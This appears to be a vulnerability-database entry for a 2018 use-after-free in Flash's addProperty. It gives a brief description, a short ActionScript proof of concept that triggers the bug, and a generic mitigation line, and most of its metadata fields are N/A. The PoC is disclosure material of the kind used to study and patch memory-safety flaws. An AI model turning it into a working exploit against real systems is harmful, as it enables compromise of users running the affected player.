vendor:
Project Zero
by:
Project Zero
7,5
CVSS
HIGH
Use-after-free
416
CWE
Product Name: Project Zero
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2018
Use-after-free in addProperty
There is a use-after-free in addProperty. If a property is added to a MovieClip object that already has a watch defined, and the watch deleted the MovieClip, it is used after it is freed. A minimal PoC follows: var t = this.createEmptyMovieClip( "t", 1); t.watch("a", func); t.addProperty("a", func, func); function func(){ trace("a"); } A sample fla and swf are attached.
Mitigation:
Ensure that all objects are properly freed and not used after they have been freed.
